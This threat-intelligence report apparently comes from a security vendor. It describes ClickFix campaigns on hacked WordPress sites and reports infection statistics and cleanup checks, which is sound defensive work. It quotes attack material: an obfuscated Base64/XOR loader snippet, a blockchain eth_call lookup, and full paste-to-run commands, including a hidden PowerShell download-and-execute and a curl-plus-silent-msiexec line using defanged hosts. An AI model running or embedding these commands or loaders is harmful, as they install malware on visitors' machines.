ClickFix turns a real website into a malware lure.

From a normal page to a fake check

The attacker's code goes into the site itself. We find it at the top of every page of a WordPress site, appended to the end of a legitimate plugin script, or loaded by a backdoor plugin with a harmless name. One kit, DriveSurge, installs a plugin called "ganalytics-tracker". Another, BranchHop, loads a script named to look like WordPress core. In one case the code came from the site's own Cloudflare account: a malicious Zaraz action served it from the site's /cdn-cgi/zaraz/ path, so it looked like part of the site.

The injected code is nearly always wrapped the same way. It decodes a Base64 string, XORs every byte with a single key and runs the result as a new function. The key changes between builds, so the bytes on the page change too.

var blob = atob("..."); var key = 80;
for (var i = 0; i < blob.length; i++) bytes[i] = blob.charCodeAt(i) ^ key;
(new Function(new TextDecoder().decode(bytes)))();

The next step lives on a blockchain

Most current kits keep the address of their next stage in a smart contract. The loader asks for it with a read-only eth_call sent through public blockchain services, and decodes the reply. When the operator updates the contract, every site reading it moves to the new address at once, and nobody has to touch the sites. This technique is called EtherHiding.

{"jsonrpc":"2.0","method":"eth_call","params":[{"to":"0x2245...7D4A","data":"0xb68d1809"},"latest"],"id":1}

LenAI, BW panel and OverlayWar keep their addresses on Polygon. ChainBite and DoubleDonut use BNB Smart Chain, and NoChain uses Base. Each loader spreads its requests across eight to thirteen public RPC providers, so blocking those providers would break legitimate apps long before it stopped the kits. We read 189 registered EtherHiding contracts every day and add each new destination to the feed as it appears.

Who sees the lure?

Only the visitors the kit wants, so a site owner checking their own site often finds nothing. Kits skip anything that looks like a bot, and some skip visitors logged in to WordPress. LA02 reports the visitor's mouse movements, clicks and focus to its controller before it returns any code, then sets a three-day cooldown so the same person never sees the lure twice. VerifyFork checks a stored verified expiry, browser versions and automation markers before requesting controller JSON. That reply chooses between running a script and redirecting with the site's hostname and favicon encoded in the URL.

The fake check and the command

The lure covers the page with a fake Cloudflare Turnstile box, a reCAPTCHA, a "device verification" prompt, a browser error or a blue screen. BW panel carries nine presentation modes, from browser to mac_cloudflare, and its panel picks one for each visitor. The overlay usually sits in a closed shadow DOM or a full-screen frame with clipboard access, out of reach of the site's own styles. FrameFinger uses a full-screen iframe, sends it the current page address through a SITE1_URL message and loads a ROT13-encoded fake Cloudflare check inside it.

While the visitor reads it, the page writes a command to their clipboard. The instructions are short: press Win+R, press Ctrl+V, press Enter. Mac visitors are told to paste into Terminal. A typical command starts PowerShell with a hidden window, downloads the next script and runs it, and ends with a fake "Verification ID" comment so it looks official:

powershell -w h "iex(irm 'hxxps://[host]/[16 hex]' -UseBasicParsing)"; exit <#Verification ID: [16 hex]#>

Other kits use mshta, msiexec, regsvr32 or the Windows finger command, and the Mac versions download a shell script with curl and pipe it to bash. A kit on cloned travel and news sites copies curl -gkso %TEMP%\wud.msi hxxps://update.neewsoo[.]com/dl/kb[number].msi && msiexec /i %TEMP%\wud.msi /qn, an installer named like a Microsoft KB update and installed without a window. FrameFinger copies a command that splits finger with carets and runs the returned text through a Windows command loop. Some hide the command until the click: Birdeye keeps it as seven arrays of character codes and assembles it only when the visitor ticks the box. Our scanner records the command as the page writes it and decodes the layers around it, so the download address goes into the feed even when the visitor never pastes anything.

Kits also fight over the same sites. We have seen a WordPress page carrying several separate ClickFix blocks, and OverlayWar ships a script whose job is to remove other kits' overlays before showing its own.

What we see across infected sites

We matched ClickFix on 10,405 sites in August. New sites since then:

Month	New sites
September	26,581
October	16,499
November so far	4,983

81% of the infected sites we captured since 25 September run WordPress. Of those, 57% run WordPress 7.1. Their plugin lists put Elementor, Contact Form 7 and WooCommerce at the top. Wordfence is installed on 1,572 of them.

Of the 22,877 sites recaptured at least 25 days after their first match, 18,929 were still serving ClickFix (83%).

Checking a site

Look at the site the way a stranger would: logged out, in a private window, from a network you do not normally use. Then check for things you did not put there:

• a plugin that runs on the site but is missing from the WordPress plugin list
• script tags loading /t.js?site=, mpackage.js, smpackage.js or a file named like wp-core-js
• a site_repair_state entry in the browser's local storage
• Zaraz actions in your Cloudflare dashboard that nobody on your team created

Change admin passwords, hosting account passwords and Cloudflare API tokens after cleaning up.